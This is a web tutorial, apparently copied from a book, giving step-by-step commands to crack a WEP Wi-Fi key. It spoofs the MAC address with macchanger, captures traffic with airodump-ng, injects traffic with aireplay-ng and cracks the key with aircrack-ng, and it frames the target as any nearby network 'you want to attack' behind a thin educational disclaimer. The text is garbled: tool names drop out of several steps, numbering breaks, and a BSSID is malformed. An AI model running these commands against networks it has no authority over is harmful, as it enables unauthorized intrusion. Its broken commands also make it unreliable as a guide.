NOTE: I am not responsible for how you use this tutorial. Use for educational purposes alone moreover, learn from it then you know to protect yourself from hackers. Brainslodge cares about you!!!
How to do it…
1. Open a terminal window and bring up a list of wireless network interfaces:
2. Under the interface column, select one of your interfaces. In this case, we will use
wlan0. If you have a different interface, such as
wlan0mon, please substitute it at every location where wlan0 is mentioned.
3. Next, we need to stop the wlan0 interface and take it down so that we can change our MAC address in the next step.
ifconfig wlan0 down
4. Next, we need to change the MAC address of our interface. Since the MAC
address of your machine identifies you on any network, changing the identity
of our machine allows us to keep our true MAC address hidden. In this case,
we will use
macchanger –mac 00:11:22:33:44:55 wlan0
5. Now we need to restart
airmon-ng start wlan0
6. Next, we will use
to locate the available wireless networks nearby.
7. A listing of available networks will begin to appear. Once you find the one you want
to attack, press
Ctrl + C
to stop the search. Highlight the MAC address in the BSSID
column, right click your mouse, and select copy. Also, make note of the channel
that the network is transmitting its signal upon. You will find this information in the
column. In this case, the channel is 10.
8. Now we run
and copy the information for the selected BSSID to a file.
We will utilize the following options:
us to select our channel. In this case, we use 10.
us to select the name of our file. In this case, we have chosen
us to select our BSSID. In this case, we will paste
from the clipboard.
airodump-ng –c 10 –w wirelessattack –bssid 09:AC:90:AB:78 wlan09. A new
terminal window will open displaying the output from the previous command.
Leave this window open.
Open another terminal window; to attempt to make an association, we will run
, which has the following syntax:
aireplay-ng -1 0 –a [BSSID] –h
[our chosen MAC address] –e [ESSID] [Interface]
aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 00:11:22:33:44:55 –e
Next, we send some traffic to the router so that we have some data to capture. We
again in the following format:
aireplay-ng -3 –b [BSSID] – h
[Our chosen MAC address] [Interface]
aireplay-ng -3 –b 09:AC:90:AB:78 –h 00:11:22:33:44:55 wlan0
Your screen will begin to fill with traffic. Let this process run for a minute or two until
we have information to run the crack.
13. Finally, we run AirCrack to crack the WEP key.
aircrack-ng –b 09:AC:90:AB:78 wirelessattack.cap
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